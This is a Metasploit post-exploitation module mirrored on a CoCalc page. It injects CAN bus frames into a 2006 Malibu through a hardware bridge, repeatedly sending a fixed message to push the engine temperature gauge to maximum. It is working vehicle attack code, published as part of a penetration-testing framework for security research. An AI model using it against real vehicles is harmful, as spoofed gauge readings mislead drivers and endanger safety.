CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/malibu_overheat.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Sample Module to Flood Temp Gauge on 2006 Malibu',
13
'Description' => %q{ Simple sample temp flood for the 2006 Malibu},
14
'License' => MSF_LICENSE,
15
'Author' => ['Craig Smith'],
16
'Platform' => ['hardware'],
17
'SessionTypes' => ['hwbridge']
18
)
19
)
20
register_options([
21
OptInt.new('PACKET_COUNT', [false, 'How many packets to send before stopping', 200]),
22
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
23
])
24
end
25
26
def run
27
unless client.automotive
28
print_error('The hwbridge requires a functional automotive extention')
29
return
30
end
31
print_status('Forcing Engine Temp to max...')
32
(0..datastore['PACKET_COUNT']).each do |_cnt|
33
client.automotive.cansend(datastore['CANBUS'], '510', '10AD013CF048120B')
34
end
35
end
36
end
37
38